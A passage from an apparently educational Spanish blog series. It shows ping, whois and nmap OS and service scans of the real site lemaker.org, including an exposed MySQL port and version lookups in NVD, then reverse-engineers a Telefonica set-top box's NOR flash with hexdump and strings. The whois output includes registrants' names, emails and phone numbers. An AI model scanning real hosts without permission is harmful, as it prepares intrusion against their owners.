rtt min/avg/max/mdev = 0.865/1.146/1.950/0.464 ms
sergio@tux:~$

sergio@tux:~$ ping www.lemaker.org -c 4
PING www.lemaker.org (120.25.215.191) 56(84) bytes of data.
64 bytes from www.lemaker.org (120.25.215.191): icmp_seq=1 ttl=44 time=331 ms
64 bytes from www.lemaker.org (120.25.215.191): icmp_seq=2 ttl=44 time=332 ms
64 bytes from www.lemaker.org (120.25.215.191): icmp_seq=3 ttl=44 time=373 ms
64 bytes from www.lemaker.org (120.25.215.191): icmp_seq=4 ttl=44 time=368 ms

--- www.lemaker.org ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3000ms
rtt min/avg/max/mdev = 331.379/351.571/373.880/19.756 ms
sergio@tux:~$ 

En algunos casos, los servidores se configuran para que no contesten a la peticiones de ping.

sergio@tux:~$ ping www.guadalinex.org -c 4
PING inv2.juntadeandalucia.es (217.12.28.33) 56(84) bytes of data.

--- inv2.juntadeandalucia.es ping statistics ---
4 packets transmitted, 0 received, 100% packet loss, time 3007ms

sergio@tux:~$

WHOIS, es un protocolo con el que podemos obtener información del propietario de un dominio, email, dirección, etc.

Mediante el comando whois dominio obtendremos dicha información, también podemos guardarla directamente en un fichero añadiendo >>.

sergio@tux:~$ whois lemaker.org >> whois_lemaker.log
sergio@tux:~$

Contenido whois lemaker.org

Domain Name:LEMAKER.ORG
Domain ID: D170120242-LROR
Creation Date: 2013-11-07T08:22:43Z
Updated Date: 2015-08-19T09:49:10Z
Registry Expiry Date: 2017-11-07T08:22:43Z
Sponsoring Registrar:Chengdu West Dimension Digital Technology Co., Ltd. (R1898-LROR)
Sponsoring Registrar IANA ID: 1556
WHOIS Server: 
Referral URL: 
Domain Status: ok -- http://www.icann.org/epp#ok
Registrant ID:1556-75475-d-001
Registrant Name:Fu Lanhui
Registrant Organization:Shenzhen Lemaker Science Technology Co Ltd.
Registrant Street: HIT Campus of ShenZhen University Town, XiLi
Registrant City:Shenzhen
Registrant State/Province:GD
Registrant Postal Code:518055
Registrant Country:CN
Registrant Phone:+86.00100000001
Registrant Phone Ext: 
Registrant Fax: +86.075526033009
Registrant Fax Ext: 
Registrant Email:709983059@qq.com
Admin ID:1556-75475-a-001
Admin Name:Joe Zheng
Admin Organization:Joe Zheng
Admin Street: HIT Campus of ShenZhen University Town, XiLi
Admin City:Shenzhen
Admin State/Province:GD
Admin Postal Code:518055
Admin Country:CN
Admin Phone:+86.075536330749
Admin Phone Ext: 
Admin Fax: +86.075536330749
Admin Fax Ext: 
Admin Email:joe.zheng@lemaker.org
Tech ID:1556-75475-t-001
Tech Name:Fu Lanhui
Tech Organization:Shenzhen Lemaker Science Technology Co Ltd.
Tech Street: HIT Campus of ShenZhen University Town, XiLi
Tech City:Shenzhen
Tech State/Province:GD
Tech Postal Code:518055
Tech Country:CN
Tech Phone:+86.00100000001
Tech Phone Ext: 
Tech Fax: +86.075526033009
Tech Fax Ext: 
Tech Email:709983059@qq.com
Name Server:S1.DNSNS5.COM
Name Server:S2.DNSNS5.COM
Name Server: 
Name Server: 
Name Server: 
Name Server: 
Name Server: 
Name Server: 
Name Server: 
Name Server: 
Name Server: 
Name Server: 
Name Server: 
DNSSEC:Unsigned

Access to Public Interest Registry WHOIS information is provided to assist persons in determining the contents of a domain name registration record in the Public Interest Registry registry database. The data in this record is provided by Public Interest Registry for informational purposes only, and Public Interest Registry does not guarantee its accuracy. This service is intended only for query-based access. You agree that you will use this data only for lawful purposes and that, under no circumstances will you use this data to(a) allow, enable, or otherwise support the transmission by e-mail, telephone, or facsimile of mass unsolicited, commercial advertising or solicitations to entities other than the data recipient's own existing customers; or (b) enable high volume, automated, electronic processes that send queries or data to the systems of Registry Operator, a Registrar, or Afilias except as reasonably necessary to register domain names or modify existing registrations. All rights reserved. Public Interest Registry reserves the right to modify these terms at any time. By submitting this query, you agree to abide by this policy. For more information on Whois status codes, please visit https://www.icann.org/resources/pages/epp-status-codes-2014-06-16-en.


El tercer comando Nmap, sirve para escanear puertos y servicios de un servidor.

Algunas de las opciones interesantes son:

-O detección sistema operativo
-v modo detallado
-sV versiones
-A sistema operativo y versiones
-T4 incrementar los tiempos

Detección sistema operativo lemaker.org

sergio@tux:~$ sudo nmap -O -v lemaker.org
[sudo] password for sergio: 

Starting Nmap 6.40 ( http://nmap.org ) at 2015-09-26 12:46 CEST
Initiating Ping Scan at 12:46
Scanning lemaker.org (120.25.215.191) [4 ports]
Completed Ping Scan at 12:46, 1.41s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:46
Completed Parallel DNS resolution of 1 host. at 12:46, 0.01s elapsed
Initiating SYN Stealth Scan at 12:46
Scanning lemaker.org (120.25.215.191) [1000 ports]
SYN Stealth Scan Timing: About 8.50% done; ETC: 12:52 (0:05:34 remaining)
SYN Stealth Scan Timing: About 16.50% done; ETC: 12:52 (0:05:09 remaining)
SYN Stealth Scan Timing: About 24.10% done; ETC: 12:52 (0:04:47 remaining)
SYN Stealth Scan Timing: About 32.50% done; ETC: 12:52 (0:04:11 remaining)
SYN Stealth Scan Timing: About 43.10% done; ETC: 12:51 (0:03:19 remaining)
SYN Stealth Scan Timing: About 38.60% done; ETC: 12:53 (0:04:48 remaining)
Increasing send delay for 120.25.215.191 from 0 to 5 due to max_successful_tryno increase to 4
SYN Stealth Scan Timing: About 45.18% done; ETC: 12:53 (0:04:17 remaining)
SYN Stealth Scan Timing: About 53.20% done; ETC: 12:53 (0:03:33 remaining)
SYN Stealth Scan Timing: About 59.78% done; ETC: 12:53 (0:03:03 remaining)
Discovered open port 80/tcp on 120.25.215.191
SYN Stealth Scan Timing: About 65.93% done; ETC: 12:53 (0:02:36 remaining)
Discovered open port 22/tcp on 120.25.215.191
Increasing send delay for 120.25.215.191 from 5 to 10 due to 11 out of 23 dropped probes since last increase.
SYN Stealth Scan Timing: About 84.87% done; ETC: 12:52 (0:00:59 remaining)
Completed SYN Stealth Scan at 12:52, 365.51s elapsed (1000 total ports)
Initiating OS detection (try #1) against lemaker.org (120.25.215.191)
adjust_timeouts2: packet supposedly had rtt of -56517 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -56517 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -77059 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -77059 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -99119 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -99119 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -99662 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -99662 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -89396 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -89396 microseconds.  Ignoring time.
Retrying OS detection (try #2) against lemaker.org (120.25.215.191)
Nmap scan report for lemaker.org (120.25.215.191)
Host is up (0.33s latency).
Not shown: 977 filtered ports
PORT      STATE  SERVICE
22/tcp    open   ssh
80/tcp    open   http
443/tcp   closed https
20000/tcp closed dnp
20005/tcp closed btx
20031/tcp closed unknown
20222/tcp closed ipulse-ics
20828/tcp closed unknown
21571/tcp closed unknown
22939/tcp closed unknown
23502/tcp closed unknown
24444/tcp closed unknown
24800/tcp closed unknown
25734/tcp closed unknown
25735/tcp closed unknown
26214/tcp closed unknown
27000/tcp closed flexlm0
27352/tcp closed unknown
27353/tcp closed unknown
27355/tcp closed unknown
27356/tcp closed unknown
27715/tcp closed unknown
30000/tcp closed unknown
Device type: general purpose|WAP|storage-misc|media device|broadband router
Running (JUST GUESSING): Linux 2.6.X|2.4.X|3.X (94%), Linksys Linux 2.4.X (91%), HP embedded (91%), Netgear embedded (89%), Western Digital embedded (89%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:2.6.22 cpe:/o:linksys:linux_kernel:2.4 cpe:/o:linux:linux_kernel:2.4 cpe:/h:hp:p2000_g3 cpe:/o:linux:linux_kernel:3 cpe:/h:netgear:dg834g cpe:/o:westerndigital:wd_tv
Aggressive OS guesses: Linux 2.6.32 (94%), OpenWrt Kamikaze 7.09 (Linux 2.6.22) (92%), OpenWrt White Russian 0.9 (Linux 2.4.30) (91%), OpenWrt 0.9 - 7.09 (Linux 2.4.30 - 2.4.34) (91%), HP P2000 G3 NAS device (91%), Linux 3.0 (89%), Netgear DG834G WAP or Western Digital WD TV media player (89%), Linux 3.2 (88%), Linux 2.4.18 (88%), Linux 2.6.38 (88%)
No exact OS matches for host (test conditions non-ideal).
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros

Read data files from: /usr/bin/../share/nmap
OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 379.39 seconds
           Raw packets sent: 5666 (253.036KB) | Rcvd: 315 (23.068KB)
sergio@tux:~$ 

No se puede determinar la versión del sistema operativo, pero nos indica en % los posibles.

Detección sistema operativo y versiones.

sergio@tux:~$ nmap -T4 -A -v lemaker.org >> nmap_lemaker.log
sergio@tux:~$

Contenido nmap -T4 -A -v lemaker.org

Starting Nmap 6.40 ( http://nmap.org ) at 2015-09-26 13:07 CEST
NSE: Loaded 110 scripts for scanning.
NSE: Script Pre-scanning.
Initiating Ping Scan at 13:07
Scanning lemaker.org (120.25.215.191) [2 ports]
Completed Ping Scan at 13:07, 3.50s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:07
Completed Parallel DNS resolution of 1 host. at 13:07, 0.00s elapsed
Initiating Connect Scan at 13:07
Scanning lemaker.org (120.25.215.191) [1000 ports]
Discovered open port 22/tcp on 120.25.215.191
Discovered open port 80/tcp on 120.25.215.191
Connect Scan Timing: About 21.40% done; ETC: 13:09 (0:01:54 remaining)
Increasing send delay for 120.25.215.191 from 0 to 5 due to 11 out of 22 dropped probes since last increase.
Connect Scan Timing: About 24.35% done; ETC: 13:11 (0:03:10 remaining)
Connect Scan Timing: About 27.30% done; ETC: 13:12 (0:04:02 remaining)
Increasing send delay for 120.25.215.191 from 5 to 10 due to 11 out of 11 dropped probes since last increase.
Connect Scan Timing: About 30.25% done; ETC: 13:13 (0:04:39 remaining)
Connect Scan Timing: About 33.20% done; ETC: 13:14 (0:05:04 remaining)
Connect Scan Timing: About 38.20% done; ETC: 13:16 (0:05:27 remaining)
Connect Scan Timing: About 53.80% done; ETC: 13:16 (0:04:26 remaining)
Connect Scan Timing: About 63.95% done; ETC: 13:16 (0:03:12 remaining)
Connect Scan Timing: About 70.85% done; ETC: 13:16 (0:02:45 remaining)
Connect Scan Timing: About 76.95% done; ETC: 13:17 (0:02:16 remaining)
Connect Scan Timing: About 82.80% done; ETC: 13:17 (0:01:45 remaining)
Connect Scan Timing: About 88.30% done; ETC: 13:17 (0:01:13 remaining)
Connect Scan Timing: About 93.70% done; ETC: 13:17 (0:00:40 remaining)
Completed Connect Scan at 13:17, 613.05s elapsed (1000 total ports)
Initiating Service scan at 13:17
Scanning 2 services on lemaker.org (120.25.215.191)
Completed Service scan at 13:17, 7.25s elapsed (2 services on 1 host)
NSE: Script scanning 120.25.215.191.
Initiating NSE at 13:17
Completed NSE at 13:18, 23.98s elapsed
Nmap scan report for lemaker.org (120.25.215.191)
Host is up (0.38s latency).
Not shown: 994 filtered ports
PORT      STATE  SERVICE VERSION
22/tcp    open   ssh     OpenSSH 5.3 (protocol 2.0)
| ssh-hostkey: 1024 20:dd:d7:6f:30:57:34:c1:17:13:97:0f:c8:aa:06:a2 (DSA)
|_2048 b0:0f:aa:ce:c9:8a:95:c0:7c:1f:78:48:3d:8f:5a:e4 (RSA)
80/tcp    open   http    nginx
|_http-favicon: Unknown favicon MD5: D7A9C4E1F7BD1804B152F93603FA0055
|_http-generator: Discuz! X3.2
|_http-methods: No Allow or Public header in OPTIONS response (status code 301)
| http-robots.txt: 22 disallowed entries (15 shown)
| /api/ /data/ /source/ /install/ /template/ /config/ 
| /uc_client/ /uc_server/ /static/ /admin.php /search.php 
|_/member.php /api.php /misc.php /connect.php
| http-title: LeMaker|The Open Source SBCs Community 
|_Requested resource was http://www.lemaker.org/
443/tcp   closed https
21571/tcp closed unknown
22939/tcp closed unknown
27356/tcp closed unknown

NSE: Script Post-scanning.
Initiating NSE at 13:18
Completed NSE at 13:18, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 650.57 seconds

Detección servicios y versiones.

sergio@tux:~$ nmap -T4 -sV -v lemaker.org

Starting Nmap 6.40 ( http://nmap.org ) at 2015-09-26 13:48 CEST
NSE: Loaded 23 scripts for scanning.
Initiating Ping Scan at 13:48
Scanning lemaker.org (120.25.215.191) [2 ports]
Completed Ping Scan at 13:48, 0.38s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:48
Completed Parallel DNS resolution of 1 host. at 13:48, 0.00s elapsed
Initiating Connect Scan at 13:48
Scanning lemaker.org (120.25.215.191) [1000 ports]
Discovered open port 80/tcp on 120.25.215.191
Discovered open port 3306/tcp on 120.25.215.191
Discovered open port 22/tcp on 120.25.215.191
Connect Scan Timing: About 15.30% done; ETC: 13:51 (0:02:52 remaining)
Increasing send delay for 120.25.215.191 from 0 to 5 due to 11 out of 23 dropped probes since last increase.
Connect Scan Timing: About 18.45% done; ETC: 13:53 (0:04:30 remaining)
Connect Scan Timing: About 21.55% done; ETC: 13:55 (0:05:31 remaining)
Increasing send delay for 120.25.215.191 from 5 to 10 due to 11 out of 11 dropped probes since last increase.
Connect Scan Timing: About 24.75% done; ETC: 13:56 (0:06:08 remaining)
Connect Scan Timing: About 28.15% done; ETC: 13:57 (0:06:33 remaining)
Connect Scan Timing: About 54.90% done; ETC: 13:57 (0:04:12 remaining)
Connect Scan Timing: About 63.65% done; ETC: 13:58 (0:03:43 remaining)
Connect Scan Timing: About 70.45% done; ETC: 13:59 (0:03:12 remaining)
Connect Scan Timing: About 76.35% done; ETC: 13:59 (0:02:39 remaining)
Connect Scan Timing: About 81.95% done; ETC: 13:59 (0:02:05 remaining)
Connect Scan Timing: About 90.75% done; ETC: 13:59 (0:01:02 remaining)
Completed Connect Scan at 13:58, 609.29s elapsed (1000 total ports)
Initiating Service scan at 13:58
Scanning 3 services on lemaker.org (120.25.215.191)
Completed Service scan at 13:58, 7.31s elapsed (3 services on 1 host)
NSE: Script scanning 120.25.215.191.
Nmap scan report for lemaker.org (120.25.215.191)
Host is up (0.31s latency).
Not shown: 995 filtered ports
PORT      STATE  SERVICE VERSION
22/tcp    open   ssh     OpenSSH 5.3 (protocol 2.0)
80/tcp    open   http    nginx
443/tcp   closed https
3306/tcp  open   mysql   MySQL 5.6.25-log
23502/tcp closed unknown

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 617.84 seconds
sergio@tux:~$

Con los diferentes análisis que se han realizado, encontramos 3 puertos abiertos (22, 80, y 3306), servicios ssh, http y mysql con sus respectivas versiones.

Para determinar si existen vulnerabilidades en algunos de los servicios encontrados, se puede consultar la Base de Datos de Vulnerabilidades Nacional de Estados Unidos (NVD)

En el servicio ssh versión 5.3, se han detectado 2 vulnerabilidades (busqueda),  nginx se han detectado 20 vulnerabilidades (busqueda) y en el servicio mysql 0 vulnerabilidades (busqueda)


Reverse engineering NOR Flash (VI)

Analizar el contenido de la memoria NOR y NAND Flash nos permitirá conocer mejor el sistema y sus posibles modificaciones. Para ello vamos a realizar ingeniería inversa en ambas memorias.

El primer análisis que podemos realizar, es utilizar el comando file con cada una de las partes del contenido de la memoria NOR flash, de esta manera conoceremos el tipo y formato de cada archivo en cuestión.

sergio@N130:~/proyectos/STB7007/flash_dev/NOR_Flash$ file cfe.bin
cfe.bin:        data
sergio@N130:~/proyectos/STB7007/flash_dev/NOR_Flash$ 

Repetimos el mismo comando con el resto de archivos.

cfe_config.bin: data

hdcp:           data

MAC_address:    data

reserve:        DOS executable (device driver)

secure_storage: DOS executable (device driver)

Para obtener más información acerca del contenido, utilizaremos los comandos hexdump y strings.

Con hexdump realiza un volcado completo del archivo a formato hexadecimal. Mientras que strings, busca e imprime secuencias de caracteres imprimibles del contenido del archivo.

Volcar el contenido del archivo a formato hexadecimal y guardar la información en un fichero la salida.

sergio@N130:~/proyectos/STB7007/flash_dev/NOR_Flash$ hexdump -C cfe.bin > cfe.dump
sergio@N130:~/proyectos/STB7007/flash_dev/NOR_Flash$ 

Buscar y extraer cadenas de texto y guardar en un fichero la salida.

sergio@N130:~/proyectos/STB7007/flash_dev/NOR_Flash$ strings -n 10 cfe.bin > cfe_strings.out
sergio@N130:~/proyectos/STB7007/flash_dev/NOR_Flash$ 

cfe

Mediante los strings de cfe, se puede apreciar gran parte del texto de la secuencia de arranque, la petición de un reset después de cargar el splash y el punto más importante. El cifrado del bootloader mediante un certificado público.

-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEA2PBIzgmzEKfPNYiXy1b4OLI8Ji2wpqOY3BMsgWvCKjIc9LViwi5q
Al+z0vLd3LPR04Blw+lwERak6Hvt5cKNU9iVN2/VY2xZZjrK5uwbgyezFJU7cV04
W9rewsLsl/yv71W+fjhNwI0/KHxDh3ajr7nEjjmTC12wlp8+EOZGvu19jNUj2crd
ycRvudeMQ5r9c64b3QYZC2JOl12FdQjmLkMiXpTUhXrCeBc6IzAeKX096jLSO3qX
MOdbEu+7sdWPLW4QFnjDX4/+M0Joz3NWfMU+Lz9pYiUONA/nZ/PwTh36pgZgKAqK
u2cdZi4R9zoPwLAaHJM+ommn7P/czkgI6QIDAQAB
-----END RSA PUBLIC KEY-----

Descarga el certificado certificado.cer

Repetimos el proceso con cada uno de los archivos, en algunos casos la salida de strings es 0, quiere decir que no ha encontrado caracteres imprimibles.

cfe_config.bin

Cuando arranca el bootloader, identifica 5 particiones mtd11 a mtd15 que son las utilizadas por el sistema.

BOOT_IMAGE=0
PACKAGE0_NAME=Flash - Image - Usr - NAND - Telefonica - Broadcom - ComtrendCT7007
PACKAGE0_FILENAME=/[nandwrite]/dev/mtd12
PACKAGE1_NAME=Flash - Image - Usr - Local - NAND - Telefonica - Broadcom - ComtrendCT7007
PACKAGE1_FILENAME=/[nandwrite]/dev/mtd13
PACKAGE2_NAME=Flash - Image - Usr - MediaBrowser - NAND - Telefonica - Broadcom - ComtrendCT7007
PACKAGE2_FILENAME=/[nandwrite]/dev/mtd14
PACKAGE3_NAME=Flash - Image - Usr - MediaServer - NAND - Telefonica - Broadcom - ComtrendCT7007
PACKAGE3_FILENAME=/[nandwrite]/dev/mtd15
PACKAGE4_NAME=Flash - Image - RomFS - NAND - Telefonica - Broadcom - ComtrendCT7007
PACKAGE4_FILENAME=/[nandwrite]/dev/mtd11
PACKAGE4_EXTENT=3798205
PACKAGE_COUNT=5
FIRST_BOOT=0
PACKAGE0_VERSION=1000026
PACKAGE0_ID=Flash-Image-Usr-NAND-Telefonica-Broadcom-ComtrendCT7007-1.0.0r26
PACKAGE0_SIZE=3395584
PACKAGE0_EXTENT=3396792
PACKAGE1_VERSION=1000020
PACKAGE1_ID=Flash-Image-Usr-Local-NAND-Telefonica-Broadcom-ComtrendCT7007-1.0.0r20
PACKAGE1_SIZE=12828672
PACKAGE1_EXTENT=12829894
PACKAGE2_VERSION=4111812
PACKAGE2_ID=Flash-Image-Usr-MediaBrowser-NAND-Telefonica-Broadcom-ComtrendCT7007-4.11.18r12
PACKAGE2_SIZE=11804672
PACKAGE2_EXTENT=11805910
PACKAGE3_VERSION=1000030
PACKAGE3_ID=Flash-Image-Usr-MediaServer-NAND-Telefonica-Broadcom-ComtrendCT7007-1.0.0r30
PACKAGE3_SIZE=1015808
PACKAGE3_EXTENT=1017042
PACKAGE4_VERSION=2061836
PACKAGE4_ID=Flash-Image-RomFS-NAND-Telefonica-Broadcom-ComtrendCT7007-2.6.18r36
PACKAGE4_SIZE=3796297

Con el sistema iniciado y en la consola, si utilizamos el comando "cfe_config -p" aparece la misma información.

[root@stb:/] $ cfe_config -p
Variable Name        Value
-------------------- --------------------------------------------------
          BOOT_IMAGE 0
       PACKAGE0_NAME Flash - Image - Usr - NAND - Telefonica - Broadcom - ComtrendCT7007
   PACKAGE0_FILENAME /[nandwrite]/dev/mtd12
       PACKAGE1_NAME Flash - Image - Usr - Local - NAND - Telefonica - Broadcom - ComtrendCT7007
   PACKAGE1_FILENAME /[nandwrite]/dev/mtd13
       PACKAGE2_NAME Flash - Image - Usr - MediaBrowser - NAND - Telefonica - Broadcom - ComtrendCT7007
   PACKAGE2_FILENAME /[nandwrite]/dev/mtd14
       PACKAGE3_NAME Flash - Image - Usr - MediaServer - NAND - Telefonica - Broadcom - ComtrendCT7007
   PACKAGE3_FILENAME /[nandwrite]/dev/mtd15
       PACKAGE4_NAME Flash - Image - RomFS - NAND - Telefonica - Broadcom - ComtrendCT7007
   PACKAGE4_FILENAME /[nandwrite]/dev/mtd11
     PACKAGE4_EXTENT 3798205
       PACKAGE_COUNT 5
          FIRST_BOOT 0
    PACKAGE0_VERSION 1000026
         PACKAGE0_ID Flash-Image-Usr-NAND-Telefonica-Broadcom-ComtrendCT7007-1.0.0r26
       PACKAGE0_SIZE 3395584
     PACKAGE0_EXTENT 3396792
    PACKAGE1_VERSION 1000020
         PACKAGE1_ID Flash-Image-Usr-Local-NAND-Telefonica-Broadcom-ComtrendCT7007-1.0.0r20
       PACKAGE1_SIZE 12828672
     PACKAGE1_EXTENT 12829894
    PACKAGE2_VERSION 4111812
         PACKAGE2_ID Flash-Image-Usr-MediaBrowser-NAND-Telefonica-Broadcom-ComtrendCT7007-4.11.18r12
       PACKAGE2_SIZE 11804672
     PACKAGE2_EXTENT 11805910
    PACKAGE3_VERSION 1000030
         PACKAGE3_ID Flash-Image-Usr-MediaServer-NAND-Telefonica-Broadcom-ComtrendCT7007-1.0.0r30
       PACKAGE3_SIZE 1015808
     PACKAGE3_EXTENT 1017042
    PACKAGE4_VERSION 2061836
         PACKAGE4_ID Flash-Image-RomFS-NAND-Telefonica-Broadcom-ComtrendCT7007-2.6.18r36
       PACKAGE4_SIZE 3796297
[root@stb:/] $ 

hdcp

No aparecen strings que permitan identificar algún contenido.

MAC_address

Tiene grabada la dirección MAC Address 4 veces.

00000000  00 00 00 00 00 00 00 84  00 00 00 00 64 68 0c 99  |............dh..|
00000010  88 77 00 00 64 68 0c 99  88 77 00 00 64 68 0c 99  |.|..dh...|..dh..|
*
00000040  88 77 00 00 64 68 0c 99  88 77 00 00 ff ff ff ff  |.|..dh...|......|
00000050  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
*
00000080  ff ff ff ff ff ff ff ff  ff ff ff ff c4 c4 ff ff  |................|
00000090  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
*
0001f800

reserve

Todo el contenido esta a ff.

secure_storage

Input configuration: 544C464E 335A7A6F 71324334 61313945 32343739

Data Section Value:    000000000000000000000000544c464e335a7a6f713243346131394532343739

CRC for DS =    5d7bc48e

Se trata de una comprobación de CRC para una entrada determinada, esta entrada podría ser los diferentes CRC de cada archivo, pero no es así.

CRC de cada archivo.

72fa09c4    cfe.bin
a702aa51    cfe_config.bin
cf63d352    hdcp
bb12aaf8    MAC_address
d64cd5de    reserve
0d2d27ed    secure_storage

Después de este análisis, parece complicado realizar modificaciones en el bootloader, está deshabilitado el prompt del CFE y cifrado. Tal vez se pueda hacer alguna cosa con la configuración cfe_config y el comando cfe_config